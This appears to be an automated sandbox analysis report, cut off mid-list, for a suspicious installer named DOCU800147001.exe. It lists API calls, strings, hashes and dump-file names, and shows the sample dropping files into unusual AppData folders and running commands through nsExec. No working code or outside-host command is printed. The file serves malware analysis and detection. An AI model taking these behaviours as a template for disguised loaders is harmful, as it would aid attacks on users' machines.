GlobalLock.KERNEL32(00000000), ref: 004052E2
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052F6
GlobalUnlock.KERNEL32(00000000), ref: 0040530F
SetClipboardData.USER32(00000001,00000000), ref: 0040531A
CloseClipboard.USER32 ref: 00405320

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: 67fad66c93797b1957110bcf73ca91ee41e40ea5419954ffc4f166d8cbeaff82
Instruction ID: d5812118e63f16fa5c19f57adc5cd4d6a9be73a85bc34068d170a9efe70f60b8
Opcode Fuzzy Hash: 67fad66c93797b1957110bcf73ca91ee41e40ea5419954ffc4f166d8cbeaff82
Instruction Fuzzy Hash: 84A16B70900208FFEB119FA4DD89AAE7F79FB48344F00416AFA01B61A0C7795E50DFA9

Function 00405B9C Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Completed,00000000,00404E9D,Completed,00000000), ref: 00405C4D
GetSystemDirectoryA.KERNEL32(: Completed,00000400), ref: 00405CC8
GetWindowsDirectoryA.KERNEL32(: Completed,00000400), ref: 00405CDB
SHGetSpecialFolderLocation.SHELL32(?,0078EAA8), ref: 00405D17
SHGetPathFromIDListA.SHELL32(0078EAA8,: Completed), ref: 00405D25
CoTaskMemFree.OLE32(0078EAA8), ref: 00405D30
lstrcatA.KERNEL32(: Completed,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D52
lstrlenA.KERNEL32(: Completed,00000000,Completed,00000000,00404E9D,Completed,00000000), ref: 00405DA4

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D4C
: Completed, xrefs: 00405BC3, 00405C95, 00405CB2, 00405CC7, 00405CDA, 00405CF6, 00405D21, 00405D51, 00405D57, 00405D6F, 00405D82, 00405D9D, 00405DA3, 00405DAE, 00405DD8
Completed, xrefs: 00405BCB
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C97
error, xrefs: 00405D7C

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: : Completed$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$error
API String ID: 900638850-1427305468
Opcode ID: b229ee72392ebe0fa70d66530f617bc2e1be5641544371ebedc29a6d10bf4902
Instruction ID: 9e84d75f846cee838fb64c09e4141d624f321ac221b592bdbe658a79732caf68
Opcode Fuzzy Hash: b229ee72392ebe0fa70d66530f617bc2e1be5641544371ebedc29a6d10bf4902
Instruction Fuzzy Hash: EE61EF71A04A05AFEB106B648C88BBF3BA5EF56314F14813BE541BA2D1D33C5981DF5E

Function 0040543A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 00405463
lstrcatA.KERNEL32(0079F500,\*.*,0079F500,?,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 004054AB
lstrcatA.KERNEL32(?,00409014,?,0079F500,?,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 004054CC
lstrlenA.KERNEL32(?,?,00409014,?,0079F500,?,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 004054D2
FindFirstFileA.KERNEL32(0079F500,?,?,?,00409014,?,0079F500,?,?,C:\Users\user\AppData\Local\Temp\,76233410,00000000), ref: 004054E3
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405590
FindClose.KERNEL32(00000000), ref: 004055A1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405448
\*.*, xrefs: 004054A5
"C:\Users\user\Desktop\DOCU800147001.exe", xrefs: 0040543A

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\DOCU800147001.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3119656824
Opcode ID: fcd028f88b56ccba8f87acc9bf914b0b727669bb7180979610c82bc5896c6120
Instruction ID: 8ee730f1ebc31b0169d0384be9803177be11285333fd16537a0ab87d7e7bd3ec
Opcode Fuzzy Hash: fcd028f88b56ccba8f87acc9bf914b0b727669bb7180979610c82bc5896c6120
Instruction Fuzzy Hash: 2D51D030900A04BADB216B65CC45BBF7A79DB82755F14817BF844B12D2D33C9A82DFAD

Function 00405E7E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,0079FD48,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,0040573B,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,C:\Users\user\AppData\Local\Temp\nsx7F0.tmp,?,?,76233410,0040545A,?,C:\Users\user\AppData\Local\Temp\,76233410), ref: 00405E89
FindClose.KERNEL32(00000000), ref: 00405E95

Strings

C:\Users\user\AppData\Local\Temp\nsx7F0.tmp, xrefs: 00405E7E

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsx7F0.tmp
API String ID: 2295610775-2526228488
Opcode ID: 3763a39385d799a14c195428d029b32a8ec39fb0b73e790bf0c2a45bf7f4e082
Instruction ID: fa6d82a82db092ae67cc5cf3184883c37463242b015de973cf80f9822f081d1d
Opcode Fuzzy Hash: 3763a39385d799a14c195428d029b32a8ec39fb0b73e790bf0c2a45bf7f4e082
Instruction Fuzzy Hash: D7D012319095205BC7015738AC0C84B7A58DF553717104A32F4A9F52E0C3789D629AE9

Function 00405EA5 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403110,00000008), ref: 00405EB7
LoadLibraryA.KERNELBASE(?,?,?,00403110,00000008), ref: 00405EC2
GetProcAddress.KERNEL32(00000000,?), ref: 00405ED3

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 6a16e0dd3cc6108475a6e7adf37e54332756fcc3f7317002038e5d5bd84af621
Instruction ID: 6203a20b8c6d2c7dd9bc8fde92c4464bacb2d6670710d6b04c7398c309678aab
Opcode Fuzzy Hash: 6a16e0dd3cc6108475a6e7adf37e54332756fcc3f7317002038e5d5bd84af621
Instruction Fuzzy Hash: 25E0C232A04611ABC710AB34DC08A6B77B8EF88651304893EF555F6151D734EC11ABFA

Function 00403995 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039D1
ShowWindow.USER32(?), ref: 004039EE
DestroyWindow.USER32 ref: 00403A02
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A1E
GetDlgItem.USER32(?,?), ref: 00403A3F
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403A53
IsWindowEnabled.USER32(00000000), ref: 00403A5A
GetDlgItem.USER32(?,00000001), ref: 00403B08
GetDlgItem.USER32(?,00000002), ref: 00403B12
SetClassLongA.USER32(?,000000F2,?), ref: 00403B2C
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403B7D
GetDlgItem.USER32(?,00000003), ref: 00403C23
ShowWindow.USER32(00000000,?), ref: 00403C44
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403C56
EnableWindow.USER32(?,?), ref: 00403C71
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403C87
EnableMenuItem.USER32(00000000), ref: 00403C8E
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403CA6
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403CB9
lstrlenA.KERNEL32(0079E4F8,?,0079E4F8,Pantaloons Setup), ref: 00403CE2
SetWindowTextA.USER32(?,0079E4F8), ref: 00403CF1
ShowWindow.USER32(?,0000000A), ref: 00403E25

Strings

Pantaloons Setup, xrefs: 00403CD3

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Pantaloons Setup
API String ID: 3282139019-2509248433
Opcode ID: dc92851be55ad4f4c841ea62a58ff80a22c35efc62c6a4be6cbd4543e075fcc2
Instruction ID: 9d8e585b2be547e11c17cdc3c7f689375e8eb6d0c46788926a5446a1ddc0af4a
Opcode Fuzzy Hash: dc92851be55ad4f4c841ea62a58ff80a22c35efc62c6a4be6cbd4543e075fcc2
Instruction Fuzzy Hash: E4C1AF71904200ABEB216F61ED49E2B3EBCEB46746F04453EF641B11F1C73DA9429B6E

Function 00403603 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EA5: GetModuleHandleA.KERNEL32(?,?,?,00403110,00000008), ref: 00405EB7
Part of subcall function 00405EA5: LoadLibraryA.KERNELBASE(?,?,?,00403110,00000008), ref: 00405EC2
Part of subcall function 00405EA5: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED3

lstrcatA.KERNEL32(1033,0079E4F8,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E4F8,00000000,00000006,C:\Users\user\AppData\Local\Temp\,76233410,"C:\Users\user\Desktop\DOCU800147001.exe",00000000), ref: 0040367E
lstrlenA.KERNEL32(: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne,1033,0079E4F8,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E4F8,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 004036F3
lstrcmpiA.KERNEL32(?,.exe), ref: 00403706
GetFileAttributesA.KERNEL32(: Completed), ref: 00403711
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne), ref: 0040375A

Part of subcall function 00405AD8: wsprintfA.USER32 ref: 00405AE5

RegisterClassA.USER32(007A16A0), ref: 00403797
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004037AF
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 004037E4
ShowWindow.USER32(00000005,00000000), ref: 0040381A
LoadLibraryA.KERNELBASE(RichEd20), ref: 0040382B
LoadLibraryA.KERNEL32(RichEd32), ref: 00403836
GetClassInfoA.USER32(00000000,RichEdit20A,007A16A0), ref: 00403846
GetClassInfoA.USER32(00000000,RichEdit,007A16A0), ref: 00403853
RegisterClassA.USER32(007A16A0), ref: 0040385C
DialogBoxParamA.USER32(?,00000000,00403995,00000000), ref: 0040387B

Strings

RichEdit, xrefs: 0040384D
RichEd20, xrefs: 00403826
.exe, xrefs: 00403700
: Completed, xrefs: 004036C1, 004036C9, 004036D6, 00403720, 00403726
C:\Users\user\AppData\Local\Temp\, xrefs: 0040360F
.DEFAULT\Control Panel\International, xrefs: 00403669
RichEd32, xrefs: 00403831
C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne, xrefs: 0040368D, 00403695, 0040372D, 00403733, 00403743
"C:\Users\user\Desktop\DOCU800147001.exe", xrefs: 00403607
_Nb, xrefs: 00403776, 004037DE
RichEdit20A, xrefs: 0040383E, 00403844
Control Panel\Desktop\ResourceLocale, xrefs: 00403637
1033, xrefs: 00403623, 00403679

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\DOCU800147001.exe"$.DEFAULT\Control Panel\International$.exe$1033$: Completed$C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-2590107342
Opcode ID: 793c3615d725b4b40fa8a9d39dcb85edc3cd67279c4ac99e8dddf97008cf1633
Instruction ID: 4586539b311a540a7331b1428def64a498e1fe17218f43e7d0271d3a33dfe7cf
Opcode Fuzzy Hash: 793c3615d725b4b40fa8a9d39dcb85edc3cd67279c4ac99e8dddf97008cf1633
Instruction Fuzzy Hash: 6561F5B49442407EE320AF619C85F2B3EACE786746F44857EF545B22E1CB7D69018A2E

Function 00402C2B Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C3C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\DOCU800147001.exe,00000400), ref: 00402C58

Part of subcall function 0040580B: GetFileAttributesA.KERNELBASE(00000003,00402C6B,C:\Users\user\Desktop\DOCU800147001.exe,80000000,00000003), ref: 0040580F
Part of subcall function 0040580B: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405831

GetFileSize.KERNEL32(00000000,00000000,007A9000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\DOCU800147001.exe,C:\Users\user\Desktop\DOCU800147001.exe,80000000,00000003), ref: 00402CA4

Strings

soft, xrefs: 00402D19
C:\Users\user\Desktop\DOCU800147001.exe, xrefs: 00402C42, 00402C51, 00402C65, 00402C85
C:\Users\user\Desktop, xrefs: 00402C86, 00402C8B, 00402C91
Inst, xrefs: 00402D10
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E03
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C35
"C:\Users\user\Desktop\DOCU800147001.exe", xrefs: 00402C2B
Null, xrefs: 00402D22
Error launching installer, xrefs: 00402C7B

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007B2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170287531.00000000007BD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_DOCU800147001.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\DOCU800147001.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\DOCU800147001.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-3087909052
Opcode ID: 525d4b8ba48f962f617f4a8d1a80fde7623c146091088817e6136f17cedd8ab8
Instruction ID: f4f743896e3c3c29250869f87ba77b7665a96188decf60a66d8326f59fe02ce9
Opcode Fuzzy Hash: 525d4b8ba48f962f617f4a8d1a80fde7623c146091088817e6136f17cedd8ab8
Instruction Fuzzy Hash: 3C51D271941204AFDB109F65DE89B9E7BA8EF41354F10413BFA00B62D1D7BC9D818BAD

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,ExecToStack,C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,ExecToStack,ExecToStack,00000000,00000000,ExecToStack,C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405B7A: lstrcpynA.KERNEL32(?,?,00000400,0040313B,Pantaloons Setup,NSIS Error), ref: 00405B87

Part of subcall function 00404E65: lstrlenA.KERNEL32(Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000,?), ref: 00404E9E
Part of subcall function 00404E65: lstrlenA.KERNEL32(00402F9E,Completed,00000000,0078EAA8,007890A8,?,?,?,?,?,?,?,?,?,00402F9E,00000000), ref: 00404EAE
Part of subcall function 00404E65: lstrcatA.KERNEL32(Completed,00402F9E,00402F9E,Completed,00000000,0078EAA8,007890A8), ref: 00404EC1
Part of subcall function 00404E65: SetWindowTextA.USER32(Completed,Completed), ref: 00404ED3
Part of subcall function 00404E65: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404EF9
Part of subcall function 00404E65: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F13
Part of subcall function 00404E65: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F21

Strings

C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll, xrefs: 0040180C, 00401828
ExecToStack, xrefs: 0040175B, 00401764, 00401771, 00401794, 004017CA, 004017E0, 004017FE, 0040183E, 004018BF, 004018C8, 004018D2, 004018DD
C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds, xrefs: 0040176C
error, xrefs: 004017F3, 004017FF, 00401817

Memory Dump Source

Source File: 00000000.00000002.2169614295.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2169596206.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169633961.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169657157.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
